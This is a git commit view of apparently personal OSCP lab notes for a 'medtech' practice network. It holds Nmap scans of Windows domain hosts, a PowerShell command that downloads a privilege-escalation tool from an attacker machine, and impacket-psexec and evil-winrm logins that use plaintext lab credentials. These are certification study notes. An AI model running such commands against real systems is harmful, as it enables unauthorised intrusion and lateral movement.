julle/oscp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

first commit

Browse Source
This commit is contained in:
julle
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Labs/medtech/computers/172.16.152.0/DC01.medtech.com/port.md
+27
View File
@@ -0,0 +1,27 @@
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024.06.25 12:41 CEST
Nmap scan report for 172.16.152.10
Host is up (0.073s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024.06.25 10:41:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: medtech.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: medtech.com0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.time:
| date: 2024.06.25T10:41:38
|_ start_date: N/A
|_clock-skew: 1s
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f0:b0 (VMware)
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled and required
Labs/medtech/computers/172.16.152.0/DEV04.md
+3
View File
@@ -0,0 +1,3 @@
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)peas.exe -Outfile peas.exe
Labs/medtech/computers/172.16.152.0/DEV04/Port.md
+32
View File
@@ -0,0 +1,32 @@
Nmap scan report for 172.16.152.12
Host is up (0.063s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024.06.25T10:46:22+00:00; +2s from scanner time.
| rdp-ntlm-info:
| Target_Name: MEDTECH
| NetBIOS_Domain_Name: MEDTECH
| NetBIOS_Computer_Name: DEV04
| DNS_Domain_Name: medtech.com
| DNS_Computer_Name: DEV04.medtech.com
| DNS_Tree_Name: medtech.com
| Product_Version: 10.0.20348
|_ System_Time: 2024.06.25T10:45:42+00:00
| ssl-cert: Subject: commonName=DEV04.medtech.com
| Not valid before: 2024.04.16T20:19:52
|_Not valid after: 2024.10.16T20:19:52
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
|_nbstat: NetBIOS name: DEV04, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:7f:da (VMware)
Labs/medtech/computers/172.16.152.0/FILES02/Ports.md
+22
View File
@@ -0,0 +1,22 @@
Nmap scan report for 172.16.152.11
Host is up (0.055s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: FILES02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f7:cb (VMware)
|_clock-skew: 1s
impacket-psexec medtech.com/joe:Flowers1@172.16.152.11
Labs/medtech/computers/172.16.152.0/FILES02/pwn.md
+1
View File
@@ -0,0 +1 @@
impacket-psexec medtech.com/joe:Flowers1@172.16.152.11
Labs/medtech/computers/172.16.152.0/PROD/Port.md
+18
View File
@@ -0,0 +1,18 @@
Nmap scan report for 172.16.152.13
Host is up (0.064s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: PROD01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:d1:c2 (VMware)
|_clock-skew: 1s
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
Labs/medtech/computers/172.16.152.0/client02.md
+1
View File
@@ -0,0 +1 @@
evil-winrm -i 172.16.229.83 -u wario -p "Mushroom\!"